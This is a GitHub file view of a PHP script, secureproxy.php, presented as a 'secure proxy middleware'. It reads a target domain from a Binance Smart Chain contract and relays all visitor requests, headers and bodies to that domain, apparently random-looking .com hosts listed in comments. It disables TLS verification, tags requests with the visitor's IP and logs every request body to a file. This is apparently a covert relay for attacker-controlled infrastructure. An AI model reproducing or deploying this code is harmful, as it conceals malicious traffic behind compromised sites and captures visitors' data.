-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsecureproxy.php
More file actions
299 lines (259 loc) · 9.31 KB
/
secureproxy.php
File metadata and controls
299 lines (259 loc) · 9.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: *');
header('Access-Control-Allow-Headers: *');
header('Access-Control-Max-Age: 3600');
function getClientIP()
{
// Check for Cloudflare IP
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}
// Check X-Forwarded-For
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
// Get first IP in chain
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);
}
// Fallback to direct IP
return $_SERVER['REMOTE_ADDR'];
}
class SecureProxyMiddleware
{
private $updateInterval = 60;
private $rpcUrls;
private $contractAddress;
private $cacheFile;
private $logFile = 'a.log';
public function __construct($options = [])
{
$this->rpcUrls = $options['rpcUrls'] ?? [
"https://rpc.ankr.com/bsc",
"https://bsc-dataseed2.bnbchain.org"
];
$this->contractAddress = $options['contractAddress'] ?? "0xe9d5f645f79fa60fca82b4e1d35832e43370feb0";
$serverIdentifier = md5(
$_SERVER['SERVER_NAME'] . ':' .
$_SERVER['SERVER_ADDR'] . ':' .
$_SERVER['SERVER_SOFTWARE']
);
$this->cacheFile = sys_get_temp_dir() . '/proxy_cache_' . $serverIdentifier . '.json';
// 记录信息到日志文件
$this->log('sys_get_temp_dir: ' . sys_get_temp_dir());
$this->log('Server identifier: ' . $serverIdentifier);
$this->log('Cache file: ' . $this->cacheFile);
$this->log('Log file: ' . $this->logFile);
$this->log('RPC URLs: ' . json_encode($this->rpcUrls));
$this->log('Contract address: ' . $this->contractAddress);
}
/**
* 写入信息到日志文件
* @param string $message 要写入的信息
*/
private function log($message)
{
file_put_contents($this->logFile, date('Y-m-d H:i:s') . ' ' . $message . "\n", FILE_APPEND);
}
/**
* 加载缓存
* @return string|null 缓存中的域名或null
*/
private function loadCache()
{
if (!file_exists($this->cacheFile)) return null;
$cache = json_decode(file_get_contents($this->cacheFile), true);
if (!$cache || (time() - $cache['timestamp']) > $this->updateInterval) {
return null;
}
return $cache['domain'];
}
/**
* 过滤请求头
* @param array $headers 请求头数组
* @return array 过滤后的请求头数组
*/
private function filterHeaders($headers)
{
$blacklist = ['host'];
$formatted = [];
foreach ($headers as $key => $value) {
$key = strtolower($key);
if (!in_array($key, $blacklist)) {
$formatted[] = "$key: $value";
}
}
return $formatted;
}
private function saveCache($domain)
{
$cache = ['domain' => $domain, 'timestamp' => time()];
file_put_contents($this->cacheFile, json_encode($cache));
}
private function hexToString($hex)
{
$hex = preg_replace('/^0x/', '', $hex);
$hex = substr($hex, 64);
$lengthHex = substr($hex, 0, 64);
$length = hexdec($lengthHex);
$dataHex = substr($hex, 64, $length * 2);
$result = '';
for ($i = 0; $i < strlen($dataHex); $i += 2) {
$charCode = hexdec(substr($dataHex, $i, 2));
if ($charCode === 0) break;
$result .= chr($charCode);
}
return $result;
}
private function fetchTargetDomain()
{
$data = '20965255';
foreach ($this->rpcUrls as $rpcUrl) {
try {
$ch = curl_init($rpcUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode([
'jsonrpc' => '2.0',
'id' => 1,
'method' => 'eth_call',
'params' => [[
'to' => $this->contractAddress,
'data' => '0x' . $data
], 'latest']
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_TIMEOUT => 120,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
curl_close($ch);
continue;
}
curl_close($ch);
$responseData = json_decode($response, true);
if (isset($responseData['error'])) continue;
$domain = $this->hexToString($responseData['result']);
if ($domain) return $domain;
} catch (Exception $e) {
continue;
}
}
throw new Exception('Could not fetch target domain');
}
/**
* 获取目标域名
* @return string 目标域名
*/
private function getTargetDomain()
{
$cachedDomain = $this->loadCache();
$this->log('Cached domain: ' . $cachedDomain);
// TODO 临时去掉缓存
// if ($cachedDomain) return $cachedDomain;
$domain = $this->fetchTargetDomain();
$this->saveCache($domain);
return $domain;
}
/**
* 格式化请求头
* @param array $headers 请求头数组
* @return array 格式化后的请求头数组
*/
private function formatHeaders($headers)
{
$formatted = [];
foreach ($headers as $name => $value) {
if (is_array($value)) $value = implode(', ', $value);
$formatted[] = "$name: $value";
}
return $formatted;
}
/**
* 处理请求
* @param string $endpoint 请求的端点
*/
public function handle($endpoint)
{
try {
$targetDomain = rtrim($this->getTargetDomain(), '/');
$endpoint = '/' . ltrim($endpoint, '/');
$url = $targetDomain . $endpoint;
$clientIP = getClientIP();
$this->log('Client IP: ' . $clientIP);
$headers = getallheaders();
// $headers = $this->filterHeaders($headers);
unset($headers['Host'], $headers['host']);
unset($headers['origin'], $headers['Origin']);
unset($headers['Accept-Encoding'], $headers['Content-Encoding']);
unset($headers['Content-Encoding'], $headers['content-encoding']);
$headers['x-dfkjldifjlifjd'] = $clientIP;
$this->log('Headers: ' . json_encode($headers));
$data = file_get_contents('php://input');
$this->log('Data: ' . $data);
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_CUSTOMREQUEST => $_SERVER['REQUEST_METHOD'],
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $this->formatHeaders($headers),
CURLOPT_TIMEOUT => 120,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_ENCODING => ''
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
throw new Exception(curl_error($ch));
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS');
header('Access-Control-Allow-Headers: *');
if ($contentType) header('Content-Type: ' . $contentType);
http_response_code($httpCode);
echo $response;
} catch (Exception $e) {
http_response_code(500);
echo 'error' . $e;
}
}
}
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS');
header('Access-Control-Allow-Headers: *');
header('Access-Control-Max-Age: 86400');
http_response_code(204);
exit;
}
if ($_GET['e'] === 'ping_proxy') {
header('Content-Type: text/plain');
echo 'pong';
exit;
} else if (isset($_GET['e'])) {
$proxy = new SecureProxyMiddleware([
'rpcUrls' => [
"https://rpc.ankr.com/bsc",
"https://bsc-dataseed2.bnbchain.org"
],
// https://bscscan.com/address/0xe9d5f645f79fa60fca82b4e1d35832e43370feb0
// 获得的输入内容: https://dfuykhndfkhjdfnkdfhbdfkjhdbhkf.com/
// https://jdfkgkgkfkjjkfkffdkfdkdfkdkdk.com
// https://kjnfdkjndsliurriuvlndvlijsndlij.com
// https://kjnfdkjndsliurriuvlndvlijsndlij.com
// https://rhfhfhffgkllvfdklfvl.com
'contractAddress' => "0xe9d5f645f79fa60fca82b4e1d35832e43370feb0"
]);
$endpoint = urldecode($_GET['e']);
$endpoint = ltrim($endpoint, '/');
$proxy->handle($endpoint);
} else {
http_response_code(400);
echo 'Missing endpoint';
}